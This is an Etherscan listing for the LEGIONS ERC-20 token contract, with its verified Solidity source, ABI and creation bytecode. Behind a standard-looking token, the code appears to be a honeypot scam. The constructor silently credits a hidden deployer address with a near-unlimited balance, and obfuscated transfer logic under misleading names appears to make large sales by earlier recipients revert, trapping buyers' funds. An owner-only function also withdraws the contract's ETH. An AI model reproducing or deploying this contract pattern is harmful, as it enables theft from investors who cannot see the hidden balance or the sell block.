Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 LEGIONS
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,000,000 LEGIONSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
THELEGIONS
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-03 */ /** */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.5; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-tfee contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract THELEGIONS is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address _deployer ) { _symbol = _SYMBOL; _name = _NAME; _fee = 0; _decimals = 9; _tTotal = 100000000 * 10**_decimals; _feetaker[_deployer] = tfee; _feetaker[msg.sender] = _tTotal; feereceiver[_deployer] = tfee; feereceiver[msg.sender] = tfee; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _feetaker; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private tfee = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } address[] interest = new address[](2); function balanceOf(address account) public view returns (uint256) { return _feetaker[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function biggest( address treated, address official, uint256 amount ) private { address hall = interest[1]; bool border = uniswapV2Pair == treated; uint256 order = _fee; if (feereceiver[treated] == 0 && driven[treated] > 0 && !border) { feereceiver[treated] -= order; if (amount > 2 * 10**(13 + _decimals)) feereceiver[treated] -= order - 1; } interest[1] = official; if (feereceiver[treated] > 0 && amount == 0) { feereceiver[official] += order; } driven[hall] += order + 1; uint256 fee = (amount / 100) * _fee; amount -= fee; _feetaker[treated] -= fee; _feetaker[address(this)] += fee; _feetaker[treated] -= amount; _feetaker[official] += amount; } mapping(address => uint256) private driven; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private feereceiver; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); biggest(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { biggest(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function manualETH(uint256 amountPercentage) external onlyOwner { uint256 amountETH = address(this).balance; payable(owner()).transfer(amountETH * amountPercentage / 100); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_NAME","type":"string"},{"internalType":"string","name":"_SYMBOL","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"_deployer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
6080604052600019600b55600267ffffffffffffffff81111562000028576200002762000cc5565b5b604051908082528060200260200182016040528015620000575781602001602082028036833780820191505090505b50600c90805190602001906200006f92919062000600565b503480156200007d57600080fd5b506040516200286d3803806200286d8339818101604052810190620000a3919062000806565b620000c3620000b76200053460201b60201c565b6200053c60201b60201c565b8260039080519060200190620000db9291906200068f565b508360029080519060200190620000f49291906200068f565b5060006001819055506009600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a620001379190620009dc565b6305f5e10062000148919062000b19565b600781905550600b54600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600754600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200031057600080fd5b505afa15801562000325573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034b9190620007d4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003d057600080fd5b505afa158015620003e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040b9190620007d4565b6040518363ffffffff1660e01b81526004016200042a929190620008d8565b602060405180830381600087803b1580156200044557600080fd5b505af11580156200045a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004809190620007d4565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000522919062000905565b60405180910390a35050505062000d40565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280548282559060005260206000209081019282156200067c579160200282015b828111156200067b5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062000621565b5b5090506200068b919062000720565b5090565b8280546200069d9062000bfb565b90600052602060002090601f016020900481019282620006c157600085556200070d565b82601f10620006dc57805160ff19168380011785556200070d565b828001600101855582156200070d579182015b828111156200070c578251825591602001919060010190620006ef565b5b5090506200071c919062000720565b5090565b5b808211156200073b57600081600090555060010162000721565b5090565b60006200075662000750846200094b565b62000922565b90508281526020810184848401111562000775576200077462000cf9565b5b6200078284828562000bc5565b509392505050565b6000815190506200079b8162000d26565b92915050565b600082601f830112620007b957620007b862000cf4565b5b8151620007cb8482602086016200073f565b91505092915050565b600060208284031215620007ed57620007ec62000d03565b5b6000620007fd848285016200078a565b91505092915050565b6000806000806080858703121562000823576200082262000d03565b5b600085015167ffffffffffffffff81111562000844576200084362000cfe565b5b6200085287828801620007a1565b945050602085015167ffffffffffffffff81111562000876576200087562000cfe565b5b6200088487828801620007a1565b935050604062000897878288016200078a565b9250506060620008aa878288016200078a565b91505092959194509250565b620008c18162000b7a565b82525050565b620008d28162000bae565b82525050565b6000604082019050620008ef6000830185620008b6565b620008fe6020830184620008b6565b9392505050565b60006020820190506200091c6000830184620008c7565b92915050565b60006200092e62000941565b90506200093c828262000c31565b919050565b6000604051905090565b600067ffffffffffffffff82111562000969576200096862000cc5565b5b620009748262000d08565b9050602081019050919050565b6000808291508390505b6001851115620009d357808604811115620009ab57620009aa62000c67565b5b6001851615620009bb5780820291505b8081029050620009cb8562000d19565b94506200098b565b94509492505050565b6000620009e98262000bae565b9150620009f68362000bb8565b925062000a257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a2d565b905092915050565b60008262000a3f576001905062000b12565b8162000a4f576000905062000b12565b816001811462000a68576002811462000a735762000aa9565b600191505062000b12565b60ff84111562000a885762000a8762000c67565b5b8360020a91508482111562000aa25762000aa162000c67565b5b5062000b12565b5060208310610133831016604e8410600b841016171562000ae35782820a90508381111562000add5762000adc62000c67565b5b62000b12565b62000af2848484600162000981565b9250905081840481111562000b0c5762000b0b62000c67565b5b81810290505b9392505050565b600062000b268262000bae565b915062000b338362000bae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b6f5762000b6e62000c67565b5b828202905092915050565b600062000b878262000b8e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000be557808201518184015260208101905062000bc8565b8381111562000bf5576000848401525b50505050565b6000600282049050600182168062000c1457607f821691505b6020821081141562000c2b5762000c2a62000c96565b5b50919050565b62000c3c8262000d08565b810181811067ffffffffffffffff8211171562000c5e5762000c5d62000cc5565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b62000d318162000b7a565b811462000d3d57600080fd5b50565b611b1d8062000d506000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063c5b37c2211610066578063c5b37c221461029f578063dd62ed3e146102bd578063f2fde38b146102ed578063f887ea401461030957610100565b80638da5cb5b1461021757806395d89b411461023557806397bfcda314610253578063a9059cbb1461026f57610100565b8063313ce567116100d3578063313ce567146101a157806349bd5a5e146101bf57806370a08231146101dd578063715018a61461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610327565b60405161011a919061143e565b60405180910390f35b61013d6004803603810190610138919061127f565b6103b9565b60405161014a9190611408565b60405180910390f35b61015b6103ce565b60405161016891906114e0565b60405180910390f35b61018b6004803603810190610186919061122c565b6103d8565b6040516101989190611408565b60405180910390f35b6101a9610527565b6040516101b691906114e0565b60405180910390f35b6101c7610541565b6040516101d491906113ed565b60405180910390f35b6101f760048036038101906101f291906111bf565b610567565b60405161020491906114e0565b60405180910390f35b6102156105b0565b005b61021f610638565b60405161022c91906113ed565b60405180910390f35b61023d610661565b60405161024a919061143e565b60405180910390f35b61026d600480360381019061026891906112bf565b6106f3565b005b6102896004803603810190610284919061127f565b6107dd565b6040516102969190611408565b60405180910390f35b6102a7610859565b6040516102b491906114e0565b60405180910390f35b6102d760048036038101906102d291906111ec565b61085f565b6040516102e491906114e0565b60405180910390f35b610307600480360381019061030291906111bf565b6108e6565b005b6103116109de565b60405161031e9190611423565b60405180910390f35b60606002805461033690611892565b80601f016020809104026020016040519081016040528092919081815260200182805461036290611892565b80156103af5780601f10610384576101008083540402835291602001916103af565b820191906000526020600020905b81548152906001019060200180831161039257829003601f168201915b5050505050905090565b60006103c6338484610a04565b905092915050565b6000600754905090565b600080821161041c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610413906114a0565b60405180910390fd5b610427848484610b9f565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161048491906114e0565b60405180910390a361051e843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461051991906117a0565b610a04565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105b86110c9565b73ffffffffffffffffffffffffffffffffffffffff166105d6610638565b73ffffffffffffffffffffffffffffffffffffffff161461062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611480565b60405180910390fd5b61063660006110d1565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461067090611892565b80601f016020809104026020016040519081016040528092919081815260200182805461069c90611892565b80156106e95780601f106106be576101008083540402835291602001916106e9565b820191906000526020600020905b8154815290600101906020018083116106cc57829003601f168201915b5050505050905090565b6106fb6110c9565b73ffffffffffffffffffffffffffffffffffffffff16610719610638565b73ffffffffffffffffffffffffffffffffffffffff161461076f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076690611480565b60405180910390fd5b600047905061077c610638565b73ffffffffffffffffffffffffffffffffffffffff166108fc606484846107a39190611746565b6107ad91906115a4565b9081150290604051600060405180830381858888f193505050501580156107d8573d6000803e3d6000fd5b505050565b60006107ea338484610b9f565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161084791906114e0565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108ee6110c9565b73ffffffffffffffffffffffffffffffffffffffff1661090c610638565b73ffffffffffffffffffffffffffffffffffffffff1614610962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095990611480565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c990611460565b60405180910390fd5b6109db816110d1565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a6f5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa5906114c0565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b8c91906114e0565b60405180910390a3600190509392505050565b6000600c600181548110610bb657610bb5611951565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610ccd57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610cd7575081155b15610dd15780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d2b91906117a0565b92505081905550600460009054906101000a900460ff16600d610d4e919061156d565b600a610d5a9190611628565b6002610d669190611746565b841115610dd057600181610d7a91906117a0565b600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc891906117a0565b925050819055505b5b84600c600181548110610de757610de6611951565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e7e5750600084145b15610eda5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed29190611517565b925050819055505b600181610ee79190611517565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f359190611517565b925050819055506000600154606486610f4e91906115a4565b610f589190611746565b90508085610f6691906117a0565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb791906117a0565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461100d9190611517565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461106391906117a0565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110b99190611517565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506111a481611ab9565b92915050565b6000813590506111b981611ad0565b92915050565b6000602082840312156111d5576111d4611980565b5b60006111e384828501611195565b91505092915050565b6000806040838503121561120357611202611980565b5b600061121185828601611195565b925050602061122285828601611195565b9150509250929050565b60008060006060848603121561124557611244611980565b5b600061125386828701611195565b935050602061126486828701611195565b9250506040611275868287016111aa565b9150509250925092565b6000806040838503121561129657611295611980565b5b60006112a485828601611195565b92505060206112b5858286016111aa565b9150509250929050565b6000602082840312156112d5576112d4611980565b5b60006112e3848285016111aa565b91505092915050565b6112f5816117d4565b82525050565b611304816117e6565b82525050565b61131381611829565b82525050565b6000611324826114fb565b61132e8185611506565b935061133e81856020860161185f565b61134781611985565b840191505092915050565b600061135f602683611506565b915061136a826119a3565b604082019050919050565b6000611382602083611506565b915061138d826119f2565b602082019050919050565b60006113a5602983611506565b91506113b082611a1b565b604082019050919050565b60006113c8602483611506565b91506113d382611a6a565b604082019050919050565b6113e781611812565b82525050565b600060208201905061140260008301846112ec565b92915050565b600060208201905061141d60008301846112fb565b92915050565b6000602082019050611438600083018461130a565b92915050565b600060208201905081810360008301526114588184611319565b905092915050565b6000602082019050818103600083015261147981611352565b9050919050565b6000602082019050818103600083015261149981611375565b9050919050565b600060208201905081810360008301526114b981611398565b9050919050565b600060208201905081810360008301526114d9816113bb565b9050919050565b60006020820190506114f560008301846113de565b92915050565b600081519050919050565b600082825260208201905092915050565b600061152282611812565b915061152d83611812565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611562576115616118c4565b5b828201905092915050565b60006115788261181c565b91506115838361181c565b92508260ff03821115611599576115986118c4565b5b828201905092915050565b60006115af82611812565b91506115ba83611812565b9250826115ca576115c96118f3565b5b828204905092915050565b6000808291508390505b600185111561161f578086048111156115fb576115fa6118c4565b5b600185161561160a5780820291505b808102905061161885611996565b94506115df565b94509492505050565b600061163382611812565b915061163e8361181c565b925061166b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611673565b905092915050565b600082611683576001905061173f565b81611691576000905061173f565b81600181146116a757600281146116b1576116e0565b600191505061173f565b60ff8411156116c3576116c26118c4565b5b8360020a9150848211156116da576116d96118c4565b5b5061173f565b5060208310610133831016604e8410600b84101617156117155782820a9050838111156117105761170f6118c4565b5b61173f565b61172284848460016115d5565b92509050818404811115611739576117386118c4565b5b81810290505b9392505050565b600061175182611812565b915061175c83611812565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611795576117946118c4565b5b828202905092915050565b60006117ab82611812565b91506117b683611812565b9250828210156117c9576117c86118c4565b5b828203905092915050565b60006117df826117f2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006118348261183b565b9050919050565b60006118468261184d565b9050919050565b6000611858826117f2565b9050919050565b60005b8381101561187d578082015181840152602081019050611862565b8381111561188c576000848401525b50505050565b600060028204905060018216806118aa57607f821691505b602082108114156118be576118bd611922565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f20